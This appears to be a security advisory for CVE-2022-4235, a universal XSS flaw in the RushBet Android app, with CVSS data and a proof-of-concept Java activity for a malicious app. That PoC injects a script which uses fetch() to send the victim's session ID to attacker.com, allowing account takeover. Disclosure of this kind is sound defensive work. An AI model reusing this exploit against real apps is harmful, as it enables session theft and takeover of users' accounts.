Headline

CVE-2022-4235: RushBet 2022.23.1-b490616d - Universal XSS | Advisories | Fluid Attacks

RushBet version 2022.23.1-b490616d allows a remote attacker to steal customer accounts via use of a malicious application. This is possible because the application exposes an activity and does not properly validate the data it receives.

1 year ago

CVE

Open in Source

#xss #vulnerability #android #linux #js #java #perl

Summary

Name

RushBet 2022.23.1-b490616d - UXSS

Code name

Miller

Product

RushBet

Affected versions

Version 2022.23.1-b490616d

State

Public

Release date

2023-01-10

Vulnerability

Kind

Universal XSS

Rule

429. Universal XSS (UXSS)

Remote

Yes

CVSSv3 Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N

CVSSv3 Base Score

6.0

Exploit available

Yes

CVE ID(s)

CVE-2022-4235

Description

Vulnerability

This vulnerability occurs because the application exposes an activity and does not properly validate the data it receives.

Exploitation

To exploit this vulnerability, the victim must have a malicious application installed with activity like the following:

MainActivity.java

package com.example.badapp;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Handler;
import android.os.Bundle;
import android.net.Uri;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = new Intent("android.intent.action.VIEW");
        intent.setClassName("com.rush.co.rb","com.sugarhouse.casino.MainActivity");
        intent.setData(Uri.parse("https://rushbet.co/"));
        startActivity(intent);

        new Handler().postDelayed(() -> {
            intent.setAction("Action.EvaluateScript");
            intent.putExtra("KeyScript","fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);");
            startActivity(intent);
        }, 30000);
    }
}

Thus, when the victim opens the malicious app, the exploit will be executed, thus hacking his account.

Evidence of exploitation

POC-Account-Takeover-Rushbet

Our security policy

We have reserved the CVE-2022-4235 to refer to this issue from now on.